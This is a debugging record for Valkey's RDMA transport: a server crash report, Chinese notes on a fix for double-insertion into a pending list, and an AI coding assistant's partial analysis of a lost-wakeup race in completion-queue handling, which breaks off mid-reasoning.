tot-net-out=43934319 tot-cmds=429 id=141 addr=10.0.0.1:42838 laddr=10.0.0.1:6379 fd=151 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15192 tot-net-out=43217442 tot-cmds=422 id=142 addr=10.0.0.1:41475 laddr=10.0.0.1:6379 fd=152 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15372 tot-net-out=43729497 tot-cmds=427 id=143 addr=10.0.0.1:41510 laddr=10.0.0.1:6379 fd=153 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15372 tot-net-out=43729497 tot-cmds=427 id=144 addr=10.0.0.1:48851 laddr=10.0.0.1:6379 fd=154 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=35 oll=0 omem=0 tot-mem=17024 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15120 tot-net-out=42991616 tot-cmds=420 id=145 addr=10.0.0.1:60977 laddr=10.0.0.1:6379 fd=155 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15408 tot-net-out=43831908 tot-cmds=428 id=146 addr=10.0.0.1:52792 laddr=10.0.0.1:6379 fd=156 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15264 tot-net-out=43422264 tot-cmds=424 id=147 addr=10.0.0.1:37615 laddr=10.0.0.1:6379 fd=157 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=35 oll=0 omem=0 tot-mem=17024 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15516 tot-net-out=44040192 tot-cmds=431 id=148 addr=10.0.0.1:34941 laddr=10.0.0.1:6379 fd=158 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15156 tot-net-out=43115031 tot-cmds=421 id=149 addr=10.0.0.1:34226 laddr=10.0.0.1:6379 fd=159 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=16384 rbp=35 obl=0 oll=0 omem=0 tot-mem=17024 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15228 tot-net-out=43319853 tot-cmds=423 id=122 addr=10.0.0.1:33288 laddr=10.0.0.1:6379 fd=132 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=1024 rbp=35 obl=35 oll=0 omem=0 tot-mem=1664 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15516 tot-net-out=44040192 tot-cmds=431 id=123 addr=10.0.0.1:47385 laddr=10.0.0.1:6379 fd=133 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=1024 rbp=35 obl=0 oll=0 omem=0 tot-mem=1664 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15300 tot-net-out=43524675 tot-cmds=425 id=124 addr=10.0.0.1:47596 laddr=10.0.0.1:6379 fd=134 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=1024 rbp=35 obl=0 oll=0 omem=0 tot-mem=1664 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15300 tot-net-out=43524675 tot-cmds=425 id=125 addr=10.0.0.1:35487 laddr=10.0.0.1:6379 fd=135 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=1024 rbp=35 obl=0 oll=0 omem=0 tot-mem=1664 events=r cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15120 tot-net-out=43012620 tot-cmds=420 id=126 addr=10.0.0.1:37275 laddr=10.0.0.1:6379 fd=136 name=*redacted* age=1 idle=0 flags=N capa= db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=0 qbuf-free=0 argv-mem=0 multi-mem=0 rbs=1024 rbp=35 obl=35 oll=0 omem=0 tot-mem=1664 events=rw cmd=get user=*redacted* redir=-1 resp=2 lib-name= lib-ver= tot-net-in=15120 tot-net-out=42991616 tot-cmds=420 ------ MODULES INFO OUTPUT ------ ------ CONFIG DEBUG OUTPUT ------ proto-max-bulk-len 512mb sanitize-dump-payload no repl-diskless-sync yes import-mode no list-compress-depth 0 client-query-buffer-limit 1gb lazyfree-lazy-eviction yes activedefrag no slave-read-only yes io-threads 1 replica-read-only yes debug-context \u0026#34;\u0026#34; repl-diskless-load disabled dual-channel-replication-enabled no lazyfree-lazy-user-flush yes lazyfree-lazy-expire yes lazyfree-lazy-user-del yes lazyfree-lazy-server-del yes ------ FAST MEMORY TEST ------ 65182:M 08 Apr 2026 22:51:41.983 # Bio worker thread #0 terminated 65182:M 08 Apr 2026 22:51:41.983 # Bio worker thread #1 terminated 65182:M 08 Apr 2026 22:51:41.983 # Bio worker thread #2 terminated 65182:M 08 Apr 2026 22:51:41.983 # Bio worker thread #3 terminated 65182:M 08 Apr 2026 22:51:41.983 # Bio worker thread #4 terminated *** Preparing to test memory region 557150ede000 (2355200 bytes) *** Preparing to test memory region 55717f5e2000 (405504 bytes) *** Preparing to test memory region 7fdac95fc000 (1048576 bytes) *** Preparing to test memory region 7fdac9830000 (1048576 bytes) *** Preparing to test memory region 7fdac99b3000 (1048576 bytes) *** Preparing to test memory region 7fdac9ab5000 (1048576 bytes) *** Preparing to test memory region 7fdac9eed000 (1048576 bytes) *** Preparing to test memory region 7fdaca1a5000 (1048576 bytes) *** Preparing to test memory region 7fdaca5dd000 (1048576 bytes) *** Preparing to test memory region 7fdaca6df000 (1048576 bytes) *** Preparing to test memory region 7fdacac97000 (1048576 bytes) *** Preparing to test memory region 7fdacad99000 (1048576 bytes) *** Preparing to test memory region 7fdacb486000 (1048576 bytes) *** Preparing to test memory region 7fdacb68a000 (1048576 bytes) *** Preparing to test memory region 7fdacb8c1000 (1048576 bytes) *** Preparing to test memory region 7fdacb9c3000 (1048576 bytes) *** Preparing to test memory region 7fdacbefa000 (1048576 bytes) *** Preparing to test memory region 7fdacc07d000 (1048576 bytes) *** Preparing to test memory region 7fdacc434000 (1048576 bytes) *** Preparing to test memory region 7fdacc536000 (1048576 bytes) *** Preparing to test memory region 7fdaccba5000 (1048576 bytes) *** Preparing to test memory region 7fdaccca7000 (1048576 bytes) *** Preparing to test memory region 7fdacd05e000 (1048576 bytes) *** Preparing to test memory region 7fdacd160000 (1048576 bytes) *** Preparing to test memory region 7fdacd718000 (1048576 bytes) *** Preparing to test memory region 7fdacd81a000 (1048576 bytes) *** Preparing to test memory region 7fdacdcd3000 (1048576 bytes) *** Preparing to test memory region 7fdacdf07000 (1048576 bytes) *** Preparing to test memory region 7fdace330000 (65536 bytes) *** Preparing to test memory region 7fdace342000 (1048576 bytes) *** Preparing to test memory region 7fdace444000 (1048576 bytes) *** Preparing to test memory region 7fdace7e9000 (65536 bytes) *** Preparing to test memory region 7fdace8a6000 (65536 bytes) *** Preparing to test memory region 7fdace97b000 (1048576 bytes) *** Preparing to test memory region 7fdaceafe000 (1048576 bytes) *** Preparing to test memory region 7fdacec81000 (65536 bytes) *** Preparing to test memory region 7fdacefb7000 (1048576 bytes) *** Preparing to test memory region 7fdacf13a000 (65536 bytes) *** Preparing to test memory region 7fdacf1ee000 (1048576 bytes) *** Preparing to test memory region 7fdacf5f3000 (1048576 bytes) *** Preparing to test memory region 7fdacf6f4000 (2621440 bytes) *** Preparing to test memory region 7fdacf975000 (65536 bytes) *** Preparing to test memory region 7fdacf9a8000 (1048576 bytes) *** Preparing to test memory region 7fdacfd2c000 (65536 bytes) *** Preparing to test memory region 7fdacfe61000 (1048576 bytes) *** Preparing to test memory region 7fdad01e5000 (65536 bytes) *** Preparing to test memory region 7fdad0320000 (65536 bytes) *** Preparing to test memory region 7fdad0332000 (65536 bytes) *** Preparing to test memory region 7fdad0365000 (65536 bytes) *** Preparing to test memory region 7fdad0398000 (1048576 bytes) *** Preparing to test memory region 7fdad051b000 (1048576 bytes) *** Preparing to test memory region 7fdad069e000 (65536 bytes) *** Preparing to test memory region 7fdad06d1000 (1048576 bytes) *** Preparing to test memory region 7fdad09d4000 (1048576 bytes) *** Preparing to test memory region 7fdad0c08000 (1048576 bytes) *** Preparing to test memory region 7fdad1010000 (65536 bytes) *** Preparing to test memory region 7fdad1145000 (1048576 bytes) *** Preparing to test memory region 7fdad14c9000 (65536 bytes) *** Preparing to test memory region 7fdad1583000 (65536 bytes) *** Preparing to test memory region 7fdad1595000 (65536 bytes) *** Preparing to test memory region 7fdad15c8000 (65536 bytes) *** Preparing to test memory region 7fdad15fb000 (1048576 bytes) *** Preparing to test memory region 7fdad17ff000 (1048576 bytes) *** Preparing to test memory region 7fdad1982000 (65536 bytes) *** Preparing to test memory region 7fdad19b5000 (1048576 bytes) *** Preparing to test memory region 7fdad1cb8000 (1048576 bytes) *** Preparing to test memory region 7fdad1ebc000 (1048576 bytes) *** Preparing to test memory region 7fdad23c3000 (1048576 bytes) *** Preparing to test memory region 7fdad24c5000 (1048576 bytes) *** Preparing to test memory region 7fdad27c8000 (1048576 bytes) *** Preparing to test memory region 7fdad2c54000 (65536 bytes) *** Preparing to test memory region 7fdad2c87000 (65536 bytes) *** Preparing to test memory region 7fdad2cba000 (65536 bytes) *** Preparing to test memory region 7fdad2dce000 (1048576 bytes) *** Preparing to test memory region 7fdad2ff3000 (65536 bytes) *** Preparing to test memory region 7fdad3308000 (1048576 bytes) *** Preparing to test memory region 7fdad34ac000 (65536 bytes) *** Preparing to test memory region 7fdad35c0000 (1048576 bytes) *** Preparing to test memory region 7fdad39f5000 (1048576 bytes) *** Preparing to test memory region 7fdad3bf9000 (1048576 bytes) *** Preparing to test memory region 7fdad3eff000 (1048576 bytes) *** Preparing to test memory region 7fdad4000000 (135168 bytes) *** Preparing to test memory region 7fdad800c000 (65536 bytes) *** Preparing to test memory region 7fdad8474000 (1048576 bytes) *** Preparing to test memory region 7fdad8780000 (65536 bytes) *** Preparing to test memory region 7fdad8792000 (65536 bytes) *** Preparing to test memory region 7fdad87c5000 (65536 bytes) *** Preparing to test memory region 7fdad8bff000 (8392704 bytes) *** Preparing to test memory region 7fdad9400000 (2097152 bytes) *** Preparing to test memory region 7fdad960d000 (65536 bytes) *** Preparing to test memory region 7fdad96c0000 (41963520 bytes) *** Preparing to test memory region 7fdadc71c000 (4096 bytes) *** Preparing to test memory region 7fdadc7aa000 (8192 bytes) *** Preparing to test memory region 7fdadce00000 (14680064 bytes) *** Preparing to test memory region 7fdaddc10000 (24576 bytes) *** Preparing to test memory region 7fdaddcad000 (12288 bytes) *** Preparing to test memory region 7fdaddd00000 (8192 bytes) *** Preparing to test memory region 7fdaddeeb000 (32768 bytes) *** Preparing to test memory region 7fdaddf32000 (4096 bytes) *** Preparing to test memory region 7fdade05c000 (4096 bytes) *** Preparing to test memory region 7fdade1b2000 (8192 bytes) *** Preparing to test memory region 7fdade1f5000 (4096 bytes) .O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.65182:signal-handler (1775659902) Crashed running signal handler. Providing reduced version of recursive crash report. 65182:M 08 Apr 2026 22:51:42.095 # valkey 255.255.255 crashed by signal: 11, si_code: 1 65182:M 08 Apr 2026 22:51:42.095 # Accessing address: 0x7fdad8bff000 65182:M 08 Apr 2026 22:51:42.095 # Crashed running the instruction at: 0x7fdadde6e58d ------ STACK TRACE ------ EIP: /usr/lib/libc.so.6(+0x16c58d) [0x7fdadde6e58d] Backtrace: /usr/lib/libc.so.6(+0x3e2d0) [0x7fdaddd402d0] /usr/lib/libc.so.6(+0x16c58d) [0x7fdadde6e58d] ./src/valkey-server 127.0.0.1:6379(+0x143aba) [0x557150c1caba] ./src/valkey-server 127.0.0.1:6379(memtest_test_linux_anonymous_maps+0x210) [0x557150bd9870] ./src/valkey-server 127.0.0.1:6379(printCrashReport+0x109) [0x557150bddc39] ./src/valkey-server 127.0.0.1:6379(+0x10b7a5) [0x557150be47a5] /usr/lib/libc.so.6(+0x3e2d0) [0x7fdaddd402d0] ./src/valkey-server 127.0.0.1:6379(listUnlinkNode+0xd) [0x557150b794dd] ./src/valkey-server 127.0.0.1:6379(+0x1b1eb6) [0x557150c8aeb6] ./src/valkey-server 127.0.0.1:6379(beforeSleep+0x82) [0x557150cc2ec2] ./src/valkey-server 127.0.0.1:6379(aeMain+0x3f) [0x557150b78e5f] ./src/valkey-server 127.0.0.1:6379(main+0x54f) [0x557150b6823f] /usr/lib/libc.so.6(+0x276c1) [0x7fdaddd296c1] /usr/lib/libc.so.6(__libc_start_main+0x89) [0x7fdaddd297f9] ./src/valkey-server 127.0.0.1:6379(_start+0x25) [0x557150b69e25] ------ STACK TRACE DONE ------ ------ REGISTERS ------ 65182:M 08 Apr 2026 22:51:42.096 # RAX:00007ffd482bbf20 RBX:0000000000000000 RCX:0000000000000000 RDX:0000000000100000 RDI:00007ffd482bbf20 RSI:00007fdad8bff000 RBP:00007ffd483bbf60 RSP:00007ffd482bbef8 R8 :0000000000000000 R9 :0000000000000000 R10:0000000000000000 R11:00007fdaddc11700 R12:0000000000000001 R13:00007fdad8bff000 R14:0000000000801000 R15:0000000000100000 RIP:00007fdadde6e58d EFL:0000000000010202 CSGSFS:002b000000000033 65182:M 08 Apr 2026 22:51:42.096 * hide-user-data-from-log is on, skip logging stack content to avoid spilling user data. ------ DUMPING CODE AROUND EIP ------ Symbol: (null) (base: (nil)) Module: /usr/lib/libc.so.6 (base 0x7fdaddd02000) $ xxd -r -p /tmp/dump.hex /tmp/dump.bin $ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin ------ === VALKEY BUG REPORT END. Make sure to include from START to END. === Please report the crash by opening an issue on github: https://github.com/valkey-io/valkey/issues If a module was involved, please open in the module\u0026#39;s repo instead. Suspect RAM error? Use valkey-server --test-memory to verify it. Some other issues could be detected by valkey-server --check-system [1] 65179 segmentation fault sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 现在看起来就是迭代中删除了链表的问题?但是我觉得肯定没这么简单,是的,肯定不会这么简单.\n问题总结:\n问题根源 核心问题: 同一个 RDMA 连接可能被多次添加到 pending_list 中,导致: 1. 第一次迭代处理该连接并可能释放它 2. 第二次迭代再次访问同一个连接(已释放)→ 段错误 触发场景: - 当 valkey-benchmark 用 Ctrl+C 中断时,多个并发连接几乎同时断开 - rdmaHandleDisconnect 将连接添加到 pending_list - 在处理之前,connRdmaSetWriteHandler 可能因为写事件再次添加同一个连接 - 或者 connRdmaEventHandler 的回调链导致连接被重复添加 最终修复方案 修改1: rdmaHandleDisconnect (src/rdma.c:535-538) /* we can\u0026#39;t close connection now, let\u0026#39;s mark this connection as closed state */ if (rdma_conn-\u0026gt;pending_list_node == NULL) { // ← 添加检查 listAddNodeTail(pending_list, conn); rdma_conn-\u0026gt;pending_list_node = listLast(pending_list); } 修改2: connRdmaSetWriteHandler (src/rdma.c:956-959) /* does this connection has pending write data? */ if (func) { if (rdma_conn-\u0026gt;pending_list_node == NULL) { // ← 添加检查 listAddNodeTail(pending_list, conn); rdma_conn-\u0026gt;pending_list_node = listLast(pending_list); } } else if (rdma_conn-\u0026gt;pending_list_node) { listDelNode(pending_list, rdma_conn-\u0026gt;pending_list_node); rdma_conn-\u0026gt;pending_list_node = NULL; } 修改3: rdmaProcessPendingData - 使用正确的节点 (src/rdma.c:1786) listDelNode(pending_list, ln); // 使用 ln 而不是 rdma_conn-\u0026gt;pending_list_node 修改4: rdmaProcessPendingData - 调整处理顺序 (src/rdma.c:1782-1787) // 先调用 handler,再删除节点 if (callHandler(conn, conn-\u0026gt;read_handler)) { callHandler(conn, conn-\u0026gt;write_handler); } listDelNode(pending_list, ln); rdma_conn-\u0026gt;pending_list_node = NULL; 修复原理 1. 防止重复添加: 使用 rdma_conn-\u0026gt;pending_list_node 作为\u0026#34;已在列表中\u0026#34;的标记 - NULL = 不在列表中,可以添加 - 非NULL = 已经在列表中,不要重复添加 2. 正确的删除: 使用 ln(迭代器返回的节点)而不是 rdma_conn-\u0026gt;pending_list_node,因为后者可能被覆盖 3. 安全的调用顺序: 先调用 handler 通知上层,再从列表中删除,避免访问不完整的连接结构 调试过程的经验教训 1. 迭代器失效问题: 最初以为是删除当前节点导致迭代器失效,但 listNext 的设计已经考虑了这种情况 2. 重复添加问题: 真正的问题是事件驱动架构中的回调可能导致同一对象被多次加入同一个列表 3. 标记字段的重要性: pending_list_node 字段既记录了节点位置,也可以作为\u0026#34;是否在列表中\u0026#34;的标记 这是一个典型的事件驱动系统中的重入问题,需要在关键位置添加防护检查。 claude总结代码 # 让我用一个具体的时间线来展示问题： 时刻 T0: benchmark 需要发送第 N+1 轮 GET 请求 ↓ 时刻 T1: writeHandler 被调用 ↓ 时刻 T2: writeHandler → valkeyRdmaWrite → connRdmaHandleCq ↓ connRdmaHandleCq 做了什么？ 1. ibv_get_cq_event() ← 从 comp_channel 读取通知 2. ibv_ack_cq_events() ← 确认通知 3. ibv_req_notify_cq() ← 重新武装 CQ（告诉硬件：下次有新事件时再通知我） 4. ibv_poll_cq() 循环排空 ← 从 CQ 中取出所有完成记录 ↓ 关键时刻！在 ibv_poll_cq() 循环中，可能拿到了什么？ - IBV_WC_RDMA_WRITE 完成（我们的发送操作完成了） - IBV_WC_RECV_RDMA_WITH_IMM 完成 ← 服务器的响应已经到了！ ↓ 时刻 T3: connRdmaHandleRecvImm 处理接收事件 ctx-\u0026gt;rx_offset += byte_len; ← 数据已经在 recv_buf 中了！ ↓ 时刻 T4: valkeyRdmaWrite 发送完请求，返回到 writeHandler ↓ 时刻 T5: writeHandler 注册 AE_READABLE 事件 aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE, readHandler, c); ↓ 时刻 T6: writeHandler 返回，回到事件循环 ↓ 时刻 T7: epoll_wait() 等待 comp_channel-\u0026gt;fd 变成可读... ❌ 问题：comp_channel-\u0026gt;fd 永远不会变成可读！ 为什么？ 1. CQ 在 T2 时刻已经被排空了 2. ibv_req_notify_cq 在 T3 时刻（排空之前）就已经重新武装了 3. 武装之后到达的新事件会触发通知，但武装之前已经在 CQ 里的事件不会！ 4. 服务器的响应在 T2 时刻就已经被取出来了，不是\u0026#34;新\u0026#34;事件 结果： - recv_buf 中有数据（rx_offset \u0026gt; recv_offset） - CQ 是空的 - comp_channel-\u0026gt;fd 不会变成可读 - readHandler 永远不会被调用 - 死锁！💀 重要推理:\n就是` ./src/valkey-benchmark --rdma -h 10.0.0.1 -t get -n 100000 -c 1` 这个命令最终一定会执行完毕(不会卡住),但是中间的现象是会出现卡顿,就是RPS突然有一段时间为0,然后又突然非常高,处理了一段时间,然后又会卡住,之后又会处理一段时间. 目前在这个分支上做了两次改动都没有解决这个问题,能否深入分析一下呢? ● 好的，让我深入分析这个 RDMA benchmark 卡顿问题。首先让我了解当前分支的改动和相关代码。 ● Bash(git log --oneline -20) ⎿ e041a64b9 Signed-off-by: Ada-Church-Closure \u0026lt;nunotabashinobu066@gmail.com\u0026gt; e8ca6c07b Fix VLA warning in linenoise and enable -Werror (#3439) 1db8bab50 Big endian bitmap byte order mismatch fix (#3401) … +17 lines (ctrl+o to expand) ● Bash(git diff unstable -- deps/libvalkey/src/rdma.c) ⎿ diff --git a/deps/libvalkey/src/rdma.c b/deps/libvalkey/src/rdma.c index b0deba725..3db9a7605 100644 --- a/deps/libvalkey/src/rdma.c … +314 lines (ctrl+o to expand) ● Bash(git log unstable..HEAD --oneline) ⎿ e041a64b9 Signed-off-by: Ada-Church-Closure \u0026lt;nunotabashinobu066@gmail.com\u0026gt; e8ca6c07b Fix VLA warning in linenoise and enable -Werror (#3439) 1db8bab50 Big endian bitmap byte order mismatch fix (#3401) … +180 lines (ctrl+o to expand) ● 好的，我看到了当前分支的改动。现在让我深入分析 RDMA 代码和 benchmark 的事件循环。 ● Read(deps/libvalkey/src/rdma.c) ⎿ Read 1193 lines ● Explore(分析 benchmark 事件循环) ⎿ Done (14 tool uses · 114.1k tokens · 1m 4s) ● 非常好，现在让我看看 benchmark 中已有的 speculative read 修复具体是怎样的。 ● Read(src/valkey-benchmark.c) ⎿ Read 120 lines ● Read(src/valkey-benchmark.c) ⎿ Read 130 lines ● 现在让我仔细检查 connRdmaHandleCq 中的关键竞态窗口，以及 valkeyBufferRead 的 zero-copy 路径。 ● Explore(分析 valkeyBufferRead ZC 路径) ⎿ Done (2 tool uses · 31.8k tokens · 34.7s) ● 现在我掌握了所有关键代码。让我来确认 benchmark 创建连接时是否去掉了 VALKEY_BLOCK 标志。 ● Search(pattern: \u0026#34;valkeyConnectWrapper\u0026#34;, path: \u0026#34;src\u0026#34;) ⎿ Found 4 files (ctrl+o to expand) ● Search(pattern: \u0026#34;valkeyConnectWrapper\u0026#34;, path: \u0026#34;src/cli_common.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 31 lines (ctrl+o to expand) ● 好的。benchmark 中调用 valkeyConnectWrapper(..., 1, ...) 传了 nonblock=1，所以 VALKEY_BLOCK 标志会被清除。现在让我追踪 VALKEY_OPT_NONBLOCK 如何影响 flags： ● Search(pattern: \u0026#34;VALKEY_OPT_NONBLOCK\u0026#34;, path: \u0026#34;deps/libvalkey/src/valkey.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 34 lines (ctrl+o to expand) ● 好，确认了：benchmark 使用 nonblock=1 创建连接，所以 VALKEY_BLOCK 不会被设置。这意味着在 valkeyRdmaReadZC 中，非阻塞分支会在没有数据时返回 0。 现在让我仔细分析 connRdmaHandleCq 中的竞态条件——这是问题的核心： ● Read(deps/libvalkey/src/rdma.c) ⎿ Read 80 lines ● 现在我已经完全理解了整个流程。让我梳理一下根因分析。 ● 根因分析 经过深入分析，你现有的两层修复（speculative read + EAGAIN fallthrough poll）只覆盖了一个场景，但仍有一个 未覆盖的 lost wakeup 窗口 导致间歇卡顿。以下是完整分析： 背景：RDMA completion 通知机制 RDMA 的 ibv_req_notify_cq + ibv_get_cq_event 是边沿触发的： 1. 调用 ibv_req_notify_cq(cq, 0) 来 arm CQ 2. 在 arm 之后新到达的 CQE 才会生成一个 completion event（使 comp_channel-\u0026gt;fd 变为 readable） 3. 调用 ibv_get_cq_event 消费这个 event 4. 调用 ibv_poll_cq 取走所有 CQE 你已修复的场景（writeHandler 中的 speculative read） writeHandler └─ valkeyRdmaWrite() └─ connRdmaHandleCq() ← 这里 drain 了 CQ，包括服务端回复的 RECV_IMM // rx_offset 已更新，数据在 recv_buf 里 // write 完成，注册 AE_READABLE // speculative readHandler() ← 你的修复：立即尝试读取已缓存的数据 这确实修复了 \u0026#34;write 路径消费了 read completion\u0026#34; 的场景。 仍然存在的 lost wakeup 场景 问题出在 connRdmaHandleCq() (rdma.c:535-614) 的核心竞态： connRdmaHandleCq(): (1) ibv_get_cq_event() → 消费一个 event（或 EAGAIN） (2) ibv_ack_cq_events() → ack 那个 event (3) ibv_req_notify_cq() → 重新 arm CQ ─── 竞态窗口开始 ─── (4) ibv_poll_cq() loop → drain 所有 CQE ─── 竞态窗口结束 ─── 关键问题：如果一个新的 CQE 恰好在 (3) arm 之后、(4) poll 期间到达，它会被 ibv_poll_cq 取走并处理。但此时 CQ notification 已经被消费了（arm 之后的第一个 CQE 会触发一个新 event）。然而问题不在这里。 真正的问题场景是 readHandler 中 valkeyBufferRead 只调用一次 read： readHandler: valkeyBufferRead() └─ valkeyRdmaReadZC() ├─ (早期检查) recv_offset \u0026lt; rx_offset? 返回缓存数据 ├─ connRdmaHandleCq() ← 处理 CQ，更新 rx_offset ├─ recv_offset \u0026lt; rx_offset? 返回数据 └─ 非阻塞模式? return 0 // 只读到了一批数据，feed 给 reader valkeyGetReply() loop // 处理所有能解析出的 reply // 如果 pending == 0: clientDone() → resetClient() → writeHandler() 现在考虑这个时序 (-c 1，单连接，pipeline=1)： T1: writeHandler 发送 GET 请求 T2: aeMain 的 epoll_wait 等待 comp_channel-\u0026gt;fd 可读 T3: 服务端回复到达，CQE 生成，comp_channel-\u0026gt;fd 变为 readable T4: readHandler 被调用 └─ valkeyRdmaReadZC └─ connRdmaHandleCq(): ibv_get_cq_event() ← 消费 event ibv_ack_cq_events() ibv_req_notify_cq() ← re-arm ibv_poll_cq() ← 取走 RECV_IMM，rx_offset 更新 └─ 返回数据 reply 解析完毕，pending==0 clientDone() → resetClient() → writeHandler() └─ 发送新的 GET 请求 (valkeyRdmaWrite) └─ connRdmaHandleCq(): ← ★ 这里又 drain CQ 一次 ibv_get_cq_event() ← EAGAIN (还没有新 event) // EAGAIN 分支：ev_cq = ctx-\u0026gt;cq ibv_req_notify_cq() ← re-arm（关键！） ibv_poll_cq() ← 可能有 SEND completion T5: write 完成，speculative readHandler └─ valkeyRdmaReadZC └─ 早期检查: recv_offset == rx_offset (没有缓存数据) └─ connRdmaHandleCq(): ibv_get_cq_event() ← EAGAIN ibv_req_notify_cq() ← re-arm 又一次！ ibv_poll_cq() ← ret == 0 (服务端还没回复) └─ 非阻塞模式: return 0 // readHandler: valkeyBufferRead 返回 OK (nread==0) // 无数据可解析，退出 T6: 回到 aeMain 的 epoll_wait，等待 comp_channel-\u0026gt;fd 可读 到这一步一切正常。但问题在于：如果服务端的回复在 T5 的 ibv_req_notify_cq() 和 ibv_poll_cq() 之间到达： T5-细化: ibv_req_notify_cq() ← arm CQ（此后的第一个新 CQE 会产生 event） ─── 这时 server 的回复 CQE 到达 ────── ─── comp_channel-\u0026gt;fd 变为 readable ─── ibv_poll_cq() ← 取走了这个 CQE！rx_offset 更新！ ibv_poll_cq() ← ret == 0，退出循环 // 但 check: recv_offset \u0026lt; rx_offset? 是！有数据！ // 等等... 看代码！ 等一下，让我再仔细看 valkeyRdmaReadZC 的代码流（rdma.c:664-710）： pollcq: if (connRdmaHandleCq(c) == VALKEY_ERR) return VALKEY_ERR; if (ctx-\u0026gt;recv_offset \u0026lt; ctx-\u0026gt;rx_offset) { // ← 会检查！ // 返回数据 } if (!(c-\u0026gt;flags \u0026amp; VALKEY_BLOCK)) return 0; // 非阻塞返回 0 这里确实在 connRdmaHandleCq 后检查了 recv_offset \u0026lt; rx_offset。如果 poll 期间有 RECV_IMM 被处理，数据确实会被返回。 但这只覆盖了 speculative read 那一次调用。如果 speculative read 期间没有数据（服务端还没回复），然后服务端回复了： T5: speculative read: connRdmaHandleCq() 在 ibv_req_notify_cq() 后 poll 到 0 个 CQE → return 0, readHandler 退出 T6: 服务端回复的 CQE 到达 → CQ 已经被 arm 了（T5 中的 ibv_req_notify_cq） → comp_channel-\u0026gt;fd 变为 readable → epoll_wait 返回 → readHandler 被调用 → 正常处理 这个场景没问题。那问题到底在哪？ 让我重新审视 valkeyRdmaWrite (rdma.c:755-797)： static ssize_t valkeyRdmaWrite(valkeyContext *c) { ... pollcq: if (connRdmaHandleCq(c) == VALKEY_ERR) return VALKEY_ERR; if (ctx-\u0026gt;tx_offset == ctx-\u0026gt;tx_length) goto waitcq; // 需要等待新 TX buffer towrite = ...; ret = connRdmaSend(ctx, cm_id, c-\u0026gt;obuf + wrote, towrite); wrote += ret; if (wrote == data_len) return data_len; // ← 写完了，直接返回 